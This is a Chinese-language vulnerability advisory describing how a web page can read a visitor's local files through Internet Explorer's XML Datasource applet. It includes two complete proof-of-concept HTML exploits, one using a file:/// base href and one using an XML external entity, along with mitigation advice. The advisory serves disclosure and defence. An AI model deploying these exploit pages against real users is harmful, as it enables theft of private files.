|
IE XML Datasource Applet 缺陷允许用户文件被远程非法窃取
涉及程序:
IE XML Datasource Applet
描述:
IE XML Datasource Applet 缺陷允许用户文件被远程非法窃取
详细:
在微软的IE浏览器浏览器中存在一个缺陷,远程攻击者可利用此缺陷窃取浏览者系统中的文件。
IE 4.0 及以后的版本中都自带有 XML Datasource applet ,它通常类似如下被嵌入在一个网页的代码中:
<applet code="com.ms.xml.dso.XMLDSO.class" width="0" height="0" id="xmldso"
MAYSCRIPT="true">
</applet>
实际使用也正如上面所示,用户无需指定类(class)是从哪个 jar 或 cab
文件载入的,也就是说这个类是按指定类路径从本地文件中获得。当攻击者在“<head>......</head>”字段间嵌入一个“<base href="file:///C:/">”标签时,applet
就会认为它的codebase标记是指向本地文件(<base href="file:///C:/">)。这时当受害者使用IE浏览此页面时,他的本地 xml
文件就会被攻击者非法读取。
如下面这段代码就能非法读取文件“c:\jelmer.xml”:
<html>
<head>
<base href="file:///C:/">
</head>
<body>
<applet code="com.ms.xml.dso.XMLDSO.class" width=100% height=50 id="xmldso"
MAYSCRIPT="true">
<PARAM NAME="url" VALUE="jelmer.xml">
</applet>
<script language="javascript">
setTimeout("showIt()",2000);
function showIt() {
var jelmer = xmldso.getDocument();
alert(jelmer.Text);
}
</script>
</body>
</html>
本地 xml 文件被非法读取对用户来说已经构成了足够的威胁,但是这段攻击代码还将用户的多个文件合并为了一个。
如果攻击者对受害者系统中文件名和路径非常熟悉的话,将能读取系统中任意文件。如以下代码能读取受害者系统中的一个文本文件:
<html>
<head>
<base href="file:///C:/">
</head>
<body>
<applet code="com.ms.xml.dso.XMLDSO.class" width="0" height="0" id="xmldso"
MAYSCRIPT="true">
<?xml version="1.0"?>
<!DOCTYPE file [
<!ELEMENT file (#PCDATA) >
<!ENTITY contents SYSTEM "file:///C:/jelmer.txt">
]>
<file>
&contents;
</file>
</applet>
<script language="javascript">
setTimeout("showIt()",2000);
function showIt() {
var jelmer = xmldso.getDocument();
alert(jelmer.Text);
}
</script>
</body>
</html>
----------------------------------
受影响软件:
IE 4.0 / 5.0 / 5.5 / 6.0
测试平台:
Windows 95 / 98 / Me / NT / 2000 / XP
攻击方法:
在上面“详细”一栏中介绍的两段代码皆可作为攻击代码,另 Jelmer <jelmer@kuperus.xs4all.nl>
提供了一演示实例(攻击者能获得用户文件“c:\jelmer.txt”的内容):
http://www.xs4all.nl/~jkuperus/msieread.htm
解决方案:
微软在15号已经得到通知,但目前尚没有提供补丁或修复程序,建议用户随时关注微软站点
http://www.microsoft.com/windows/ie/default.asp
并采取如下临时解决方法:
* 关闭所有JAVA ;
* 安装SUN JDK。 |